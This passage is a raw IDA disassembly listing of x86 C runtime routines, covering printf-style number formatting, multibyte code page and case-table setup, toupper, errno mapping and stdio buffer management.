jz short loc_41FB10 cmp byte ptr [eax], 0 jz short loc_41FB10 inc eax jmp short loc_41FB01 ; --------------------------------------------------------------------------- loc_41FB10: ; CODE XREF: sub_41F69F+467j ; sub_41F69F+46Cj sub eax, ecx jmp loc_41FCA6 ; --------------------------------------------------------------------------- loc_41FB17: ; CODE XREF: sub_41F69F+425j mov [ebp+var_10], 8 loc_41FB1E: ; CODE XREF: sub_41F69F+201j mov [ebp+var_2C], 7 loc_41FB25: ; CODE XREF: sub_41F69F+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41FB8F mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB47: ; CODE XREF: sub_41F69F+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41FB8F or byte ptr [ebp+var_4+1], 2 jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB5A: ; CODE XREF: sub_41F69F+417j lea eax, [ebp+arg_8] push eax call sub_41FE7E test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41FB73 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41FB78 ; --------------------------------------------------------------------------- loc_41FB73: ; CODE XREF: sub_41F69F+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41FB78: ; CODE XREF: sub_41F69F+4D2j mov [ebp+var_28], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41FB84: ; CODE XREF: sub_41F69F+2F7j ; sub_41F69F+40Ej or [ebp+var_4], 40h loc_41FB88: ; CODE XREF: sub_41F69F+432j mov [ebp+var_C], 0Ah loc_41FB8F: ; CODE XREF: sub_41F69F+491j ; sub_41F69F+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41FBA1 lea eax, [ebp+arg_8] push eax call sub_41FE8B pop ecx jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBA1: ; CODE XREF: sub_41F69F+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41FBC8 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBBD call sub_41FE7E pop ecx movsx eax, ax loc_41FBBA: ; CODE XREF: sub_41F69F+527j ; sub_41F69F+539j cdq jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBBD: ; CODE XREF: sub_41F69F+510j call sub_41FE7E pop ecx movzx eax, ax jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBC8: ; CODE XREF: sub_41F69F+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBDA call sub_41FE7E pop ecx jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBDA: ; CODE XREF: sub_41F69F+531j call sub_41FE7E pop ecx xor edx, edx loc_41FBE2: ; CODE XREF: sub_41F69F+500j ; sub_41F69F+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41FC03 test edx, edx jg short loc_41FC03 jl short loc_41FBF2 test eax, eax jnb short loc_41FC03 loc_41FBF2: ; CODE XREF: sub_41F69F+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41FC07 ; --------------------------------------------------------------------------- loc_41FC03: ; CODE XREF: sub_41F69F+547j ; sub_41F69F+54Bj ... mov esi, eax mov edi, edx loc_41FC07: ; CODE XREF: sub_41F69F+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41FC10 and edi, 0 loc_41FC10: ; CODE XREF: sub_41F69F+56Cj cmp [ebp+var_10], 0 jge short loc_41FC1F mov [ebp+var_10], 1 jmp short loc_41FC23 ; --------------------------------------------------------------------------- loc_41FC1F: ; CODE XREF: sub_41F69F+575j and [ebp+var_4], 0FFFFFFF7h loc_41FC23: ; CODE XREF: sub_41F69F+57Ej mov eax, esi or eax, edi jnz short loc_41FC2D and [ebp+var_1C], 0 loc_41FC2D: ; CODE XREF: sub_41F69F+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41FC33: ; CODE XREF: sub_41F69F+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41FC43 mov eax, esi or eax, edi jz short loc_41FC7E loc_41FC43: ; CODE XREF: sub_41F69F+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_41D480 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_41D410 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41FC74 add ebx, [ebp+var_2C] loc_41FC74: ; CODE XREF: sub_41F69F+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41FC33 ; --------------------------------------------------------------------------- loc_41FC7E: ; CODE XREF: sub_41F69F+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41FCA9 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41FC9C test eax, eax jnz short loc_41FCA9 loc_41FC9C: ; CODE XREF: sub_41F69F+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41FCA6: ; CODE XREF: sub_41F69F+35Fj ; sub_41F69F+406j ... mov [ebp+var_C], eax loc_41FCA9: ; CODE XREF: sub_41F69F+21Bj ; sub_41F69F+2FDj ... cmp [ebp+var_28], 0 jnz loc_41FDA7 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41FCE1 test bh, 1 jz short loc_41FCC6 mov [ebp+var_16], 2Dh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCC6: ; CODE XREF: sub_41F69F+61Fj test bl, 1 jz short loc_41FCD1 mov [ebp+var_16], 2Bh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCD1: ; CODE XREF: sub_41F69F+62Aj test bl, 2 jz short loc_41FCE1 mov [ebp+var_16], 20h loc_41FCDA: ; CODE XREF: sub_41F69F+625j ; sub_41F69F+630j mov [ebp+var_1C], 1 loc_41FCE1: ; CODE XREF: sub_41F69F+61Aj ; sub_41F69F+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41FD01 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FD01: ; CODE XREF: sub_41F69F+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41FE46 add esp, 10h test bl, 8 jz short loc_41FD33 test bl, 4 jnz short loc_41FD33 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_41FE15 add esp, 10h loc_41FD33: ; CODE XREF: sub_41F69F+67Bj ; sub_41F69F+680j cmp [ebp+var_24], 0 jz short loc_41FD7A cmp [ebp+var_C], 0 jle short loc_41FD7A mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41FD48: ; CODE XREF: sub_41F69F+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_423E5B pop ecx test eax, eax pop ecx jle short loc_41FD8F lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_41FE46 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41FD48 jmp short loc_41FD8F ; --------------------------------------------------------------------------- loc_41FD7A: ; CODE XREF: sub_41F69F+698j ; sub_41F69F+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41FE46 add esp, 10h loc_41FD8F: ; CODE XREF: sub_41F69F+6BCj ; sub_41F69F+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41FDA7 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FDA7: ; CODE XREF: sub_41F69F+68j ; sub_41F69F+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41F6CB loc_41FDB8: ; CODE XREF: sub_41F69F+1Fj ; sub_41F69F+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41F69F endp ; --------------------------------------------------------------------------- off_41FDC0 dd offset loc_41F83E ; DATA XREF: sub_41F69F+6Er dd offset loc_41F714 ; jump table for switch statement dd offset loc_41F72F dd offset loc_41F77B dd offset loc_41F7B2 dd offset loc_41F7BA dd offset loc_41F7EF dd offset loc_41F882 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDE0 proc near ; CODE XREF: sub_41F69F+1BDp ; sub_41F69F+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41FDF9 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41FE04 ; --------------------------------------------------------------------------- loc_41FDF9: ; CODE XREF: sub_41FDE0+9j push ecx push [ebp+arg_0] call sub_41F58A pop ecx pop ecx loc_41FE04: ; CODE XREF: sub_41FDE0+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41FE11 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41FE11: ; CODE XREF: sub_41FDE0+2Aj inc dword ptr [eax] pop ebp retn sub_41FDE0 endp ; =============== S U B R O U T I N E ======================================= sub_41FE15 proc near ; CODE XREF: sub_41F69F+65Ap ; sub_41F69F+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_41FE43 mov esi, [esp+8+arg_C] loc_41FE26: ; CODE XREF: sub_41FE15+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41FDE0 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41FE43 mov eax, edi dec edi test eax, eax jg short loc_41FE26 loc_41FE43: ; CODE XREF: sub_41FE15+Bj ; sub_41FE15+25j pop edi pop esi retn sub_41FE15 endp ; =============== S U B R O U T I N E ======================================= sub_41FE46 proc near ; CODE XREF: sub_41F69F+670p ; sub_41F69F+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41FE7A mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41FE5C: ; CODE XREF: sub_41FE46+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41FDE0 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41FE7A mov eax, ebx dec ebx test eax, eax jg short loc_41FE5C loc_41FE7A: ; CODE XREF: sub_41FE46+Cj ; sub_41FE46+2Bj pop edi pop esi pop ebx retn sub_41FE46 endp ; =============== S U B R O U T I N E ======================================= sub_41FE7E proc near ; CODE XREF: sub_41F69F+E5p ; sub_41F69F+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41FE7E endp ; =============== S U B R O U T I N E ======================================= sub_41FE8B proc near ; CODE XREF: sub_41F69F+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_41FE8B endp ; =============== S U B R O U T I N E ======================================= sub_41FE9B proc near ; CODE XREF: sub_41F69F+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_41FE9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEA9 proc near ; CODE XREF: sub_42026D+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_420042 mov esi, eax pop ecx cmp esi, dword_4DC6C4 mov [ebp+arg_0], esi jz loc_420036 xor ebx, ebx cmp esi, ebx jz loc_42002C xor edx, edx mov eax, offset dword_43C520 loc_41FEDD: ; CODE XREF: sub_41FEA9+41j cmp [eax], esi jz short loc_41FF53 add eax, 30h inc edx cmp eax, offset dword_43C610 jl short loc_41FEDD lea eax, [ebp+var_18] push eax push esi call near ptr 2890000h nop cmp eax, 1 jnz loc_420024 push 40h xor eax, eax pop ecx mov edi, offset byte_4DC7E0 cmp [ebp+var_18], 1 mov dword_4DC6C4, esi rep stosd stosb mov dword_4DC8E4, ebx jbe loc_420012 cmp [ebp+var_12], 0 jz loc_41FFE8 lea ecx, [ebp+var_11] loc_41FF30: ; CODE XREF: sub_41FEA9+139j mov dl, [ecx] test dl, dl jz loc_41FFE8 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41FF41: ; CODE XREF: sub_41FEA9+A8j cmp eax, edx ja loc_41FFDC or byte_4DC7E1[eax], 4 inc eax jmp short loc_41FF41 ; --------------------------------------------------------------------------- loc_41FF53: ; CODE XREF: sub_41FEA9+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4DC7E0 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43C530[esi] loc_41FF6F: ; CODE XREF: sub_41FEA9+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41FFA2 loc_41FF76: ; CODE XREF: sub_41FEA9+F7j mov dl, [ecx+1] test dl, dl jz short loc_41FFA2 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41FF9B mov edx, [ebp+var_4] mov dl, byte_43C518[edx] loc_41FF90: ; CODE XREF: sub_41FEA9+F0j or byte_4DC7E1[eax], dl inc eax cmp eax, edi jbe short loc_41FF90 loc_41FF9B: ; CODE XREF: sub_41FEA9+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41FF76 loc_41FFA2: ; CODE XREF: sub_41FEA9+CBj ; sub_41FEA9+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41FF6F mov eax, [ebp+arg_0] mov dword_4DC6DC, 1 push eax mov dword_4DC6C4, eax call sub_42008C lea esi, dword_43C524[esi] mov edi, offset dword_4DC6D0 movsd movsd pop ecx mov dword_4DC8E4, eax movsd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_41FFDC: ; CODE XREF: sub_41FEA9+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41FF30 loc_41FFE8: ; CODE XREF: sub_41FEA9+7Ej ; sub_41FEA9+8Bj push 1 pop eax loc_41FFEB: ; CODE XREF: sub_41FEA9+14Fj or byte_4DC7E1[eax], 8 inc eax cmp eax, 0FFh jb short loc_41FFEB push esi call sub_42008C pop ecx mov dword_4DC8E4, eax mov dword_4DC6DC, 1 jmp short loc_420018 ; --------------------------------------------------------------------------- loc_420012: ; CODE XREF: sub_41FEA9+74j mov dword_4DC6DC, ebx loc_420018: ; CODE XREF: sub_41FEA9+167j xor eax, eax mov edi, offset dword_4DC6D0 stosd stosd stosd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_420024: ; CODE XREF: sub_41FEA9+51j cmp dword_4DB300, ebx jz short loc_42003A loc_42002C: ; CODE XREF: sub_41FEA9+27j call sub_4200BF loc_420031: ; CODE XREF: sub_41FEA9+131j ; sub_41FEA9+179j call sub_4200E8 loc_420036: ; CODE XREF: sub_41FEA9+1Dj xor eax, eax jmp short loc_42003D ; --------------------------------------------------------------------------- loc_42003A: ; CODE XREF: sub_41FEA9+181j or eax, 0FFFFFFFFh loc_42003D: ; CODE XREF: sub_41FEA9+18Fj pop edi pop esi pop ebx leave retn sub_41FEA9 endp ; =============== S U B R O U T I N E ======================================= sub_420042 proc near ; CODE XREF: sub_41FEA9+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4DB300, 0 cmp eax, 0FFFFFFFEh jnz short loc_420062 mov dword_4DB300, 1 nop jmp near ptr 2651925h ; --------------------------------------------------------------------------- loc_420062: ; CODE XREF: sub_420042+Ej cmp eax, 0FFFFFFFDh jnz short loc_420077 mov dword_4DB300, 1 nop jmp near ptr 28906E9h ; --------------------------------------------------------------------------- loc_420077: ; CODE XREF: sub_420042+23j cmp eax, 0FFFFFFFCh jnz short locret_42008B mov eax, dword_4DB344 mov dword_4DB300, 1 locret_42008B: ; CODE XREF: sub_420042+38j retn sub_420042 endp ; =============== S U B R O U T I N E ======================================= sub_42008C proc near ; CODE XREF: sub_41FEA9+118p ; sub_41FEA9+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_4200B9 sub eax, 4 jz short loc_4200B3 sub eax, 0Dh jz short loc_4200AD dec eax jz short loc_4200A7 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4200A7: ; CODE XREF: sub_42008C+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_4200AD: ; CODE XREF: sub_42008C+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_4200B3: ; CODE XREF: sub_42008C+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_4200B9: ; CODE XREF: sub_42008C+9j mov eax, 411h retn sub_42008C endp ; =============== S U B R O U T I N E ======================================= sub_4200BF proc near ; CODE XREF: sub_41FEA9:loc_42002Cp push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4DC7E0 rep stosd stosb xor eax, eax mov edi, offset dword_4DC6D0 mov dword_4DC6C4, eax mov dword_4DC6DC, eax mov dword_4DC8E4, eax stosd stosd stosd pop edi retn sub_4200BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4200E8 proc near ; CODE XREF: sub_41FEA9:loc_420031p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4DC6C4 call near ptr 2890000h nop cmp eax, 1 jnz loc_420221 xor eax, eax mov esi, 100h loc_420112: ; CODE XREF: sub_4200E8+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_420112 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_420163 push ebx push edi lea edx, [ebp+var_D] loc_420131: ; CODE XREF: sub_4200E8+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_420158 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_420158: ; CODE XREF: sub_4200E8+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_420131 pop edi pop ebx loc_420163: ; CODE XREF: sub_4200E8+42j push 0 lea eax, [ebp+var_514] push dword_4DC8E4 push dword_4DC6C4 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_423CEC push 0 lea eax, [ebp+var_214] push dword_4DC6C4 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4DC8E4 call sub_422ACA push 0 lea eax, [ebp+var_314] push dword_4DC6C4 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4DC8E4 call sub_422ACA add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_4201DE: ; CODE XREF: sub_4200E8+135j mov dx, [ecx] test dl, 1 jz short loc_4201FC or byte_4DC7E1[eax], 10h mov dl, [ebp+eax+var_214] loc_4201F4: ; CODE XREF: sub_4200E8+127j mov byte_4DC6E0[eax], dl jmp short loc_420218 ; --------------------------------------------------------------------------- loc_4201FC: ; CODE XREF: sub_4200E8+FCj test dl, 2 jz short loc_420211 or byte_4DC7E1[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_4201F4 ; --------------------------------------------------------------------------- loc_420211: ; CODE XREF: sub_4200E8+117j and byte_4DC6E0[eax], 0 loc_420218: ; CODE XREF: sub_4200E8+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_4201DE jmp short loc_42026A ; --------------------------------------------------------------------------- loc_420221: ; CODE XREF: sub_4200E8+1Dj xor eax, eax mov esi, 100h loc_420228: ; CODE XREF: sub_4200E8+180j cmp eax, 41h jb short loc_420246 cmp eax, 5Ah ja short loc_420246 or byte_4DC7E1[eax], 10h mov cl, al add cl, 20h loc_42023E: ; CODE XREF: sub_4200E8+174j mov byte_4DC6E0[eax], cl jmp short loc_420265 ; --------------------------------------------------------------------------- loc_420246: ; CODE XREF: sub_4200E8+143j ; sub_4200E8+148j cmp eax, 61h jb short loc_42025E cmp eax, 7Ah ja short loc_42025E or byte_4DC7E1[eax], 20h mov cl, al sub cl, 20h jmp short loc_42023E ; --------------------------------------------------------------------------- loc_42025E: ; CODE XREF: sub_4200E8+161j ; sub_4200E8+166j and byte_4DC6E0[eax], 0 loc_420265: ; CODE XREF: sub_4200E8+15Cj inc eax cmp eax, esi jb short loc_420228 loc_42026A: ; CODE XREF: sub_4200E8+137j pop esi leave retn sub_4200E8 endp ; =============== S U B R O U T I N E ======================================= sub_42026D proc near ; CODE XREF: ___:00422E7Bp ; ___:00422ED7p ... cmp dword_4DC914, 0 jnz short locret_420288 push 0FFFFFFFDh call sub_41FEA9 pop ecx mov dword_4DC914, 1 locret_420288: ; CODE XREF: sub_42026D+7j retn sub_42026D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420289 proc near ; CODE XREF: sub_41B9D1+2Bp ; sub_41B9D1+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4DC6DC, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_4202AD push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41B5F0 add esp, 0Ch jmp short loc_420310 ; --------------------------------------------------------------------------- loc_4202AD: ; CODE XREF: sub_420289+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_4202F2 mov ecx, [ebp+arg_4] loc_4202B8: ; CODE XREF: sub_420289+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4DC7E1[esi], 4 mov [edi], al jz short loc_4202DC inc edi inc ecx test edx, edx jz short loc_4202E8 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_4202EE jmp short loc_4202E2 ; --------------------------------------------------------------------------- loc_4202DC: ; CODE XREF: sub_420289+3Ej inc edi inc ecx test al, al jz short loc_4202F2 loc_4202E2: ; CODE XREF: sub_420289+51j test edx, edx jnz short loc_4202B8 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202E8: ; CODE XREF: sub_420289+44j and byte ptr [edi-1], 0 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202EE: ; CODE XREF: sub_420289+4Fj and byte ptr [edi-2], 0 loc_4202F2: ; CODE XREF: sub_420289+2Aj ; sub_420289+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_42030D lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_42030D: ; CODE XREF: sub_420289+6Fj mov eax, [ebp+arg_0] loc_420310: ; CODE XREF: sub_420289+22j pop edi pop ebp retn sub_420289 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420313 proc near ; CODE XREF: sub_41BBBD+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DB334, 0 push ebx jnz short loc_42033E mov eax, [ebp+arg_0] cmp eax, 61h jl loc_4203DC cmp eax, 7Ah jg loc_4203DC sub eax, 20h jmp loc_4203DC ; --------------------------------------------------------------------------- loc_42033E: ; CODE XREF: sub_420313+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_420371 cmp dword_43C504, 1 jle short loc_42035E push 2 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420369 ; --------------------------------------------------------------------------- loc_42035E: ; CODE XREF: sub_420313+3Dj mov eax, off_43C2F8 mov al, [eax+ebx*2] and eax, 2 loc_420369: ; CODE XREF: sub_420313+49j test eax, eax jnz short loc_420371 loc_42036D: ; CODE XREF: sub_420313+AFj mov eax, ebx jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_420371: ; CODE XREF: sub_420313+34j ; sub_420313+58j mov edx, off_43C2F8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_420394 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_42039D ; --------------------------------------------------------------------------- loc_420394: ; CODE XREF: sub_420313+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_42039D: ; CODE XREF: sub_420313+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4DB334 call sub_422ACA add esp, 20h test eax, eax jz short loc_42036D cmp eax, 1 jnz short loc_4203CF movzx eax, [ebp+var_4] jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_4203CF: ; CODE XREF: sub_420313+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4203DC: ; CODE XREF: sub_420313+14j ; sub_420313+1Dj ... pop ebx leave retn sub_420313 endp ; =============== S U B R O U T I N E ======================================= sub_4203DF proc near ; CODE XREF: sub_41BDDC+1Dp ; sub_41D3BE+16p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4DB27C, ecx mov eax, offset dword_43C610 loc_4203F0: ; CODE XREF: sub_4203DF+1Ej cmp ecx, [eax] jz short loc_420414 add eax, 8 inc edx cmp eax, offset dword_43C778 jl short loc_4203F0 cmp ecx, 13h jb short loc_420421 cmp ecx, 24h ja short loc_420421 mov dword_4DB278, 0Dh retn ; --------------------------------------------------------------------------- loc_420414: ; CODE XREF: sub_4203DF+13j mov eax, dword_43C614[edx*8] mov dword_4DB278, eax retn ; --------------------------------------------------------------------------- loc_420421: ; CODE XREF: sub_4203DF+23j ; sub_4203DF+28j cmp ecx, 0BCh jb short loc_42043B cmp ecx, 0CAh mov dword_4DB278, 8 jbe short locret_420445 loc_42043B: ; CODE XREF: sub_4203DF+48j mov dword_4DB278, 16h locret_420445: ; CODE XREF: sub_4203DF+5Aj retn sub_4203DF endp ; =============== S U B R O U T I N E ======================================= sub_420446 proc near ; CODE XREF: sub_41BE06+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_423E35 test eax, eax pop ecx jz short loc_4204CF cmp esi, offset dword_43CA08 jnz short loc_420464 xor eax, eax jmp short loc_42046F ; --------------------------------------------------------------------------- loc_420464: ; CODE XREF: sub_420446+18j cmp esi, offset dword_43CA28 jnz short loc_4204CF push 1 pop eax loc_42046F: ; CODE XREF: sub_420446+1Cj inc dword_4DB460 test word ptr [esi+0Ch], 10Ch jnz short loc_4204CF cmp dword_4DB304[eax*4], 0 push ebx push edi lea edi, ds:4DB304h[eax*4] mov ebx, 1000h jnz short loc_4204B5 push ebx call sub_41B4D5 test eax, eax pop ecx mov [edi], eax jnz short loc_4204B5 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_4204C2 ; --------------------------------------------------------------------------- loc_4204B5: ; CODE XREF: sub_420446+4Dj ; sub_420446+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_4204C2: ; CODE XREF: sub_420446+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_4204CF: ; CODE XREF: sub_420446+10j ; sub_420446+24j ... xor eax, eax pop esi retn sub_420446 endp ; =============== S U B R O U T I N E ======================================= sub_4204D3 proc near ; CODE XREF: sub_41BE06+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_4204FD mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_42050E push esi call sub_41DB8B and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_4204FD: ; CODE XREF: sub_4204D3+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_42050E push eax call sub_41DB8B pop ecx loc_42050E: ; CODE XREF: sub_4204D3+10j ; sub_4204D3+32j pop esi retn sub_4204D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420510 proc near ; CODE XREF: sub_41C645+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 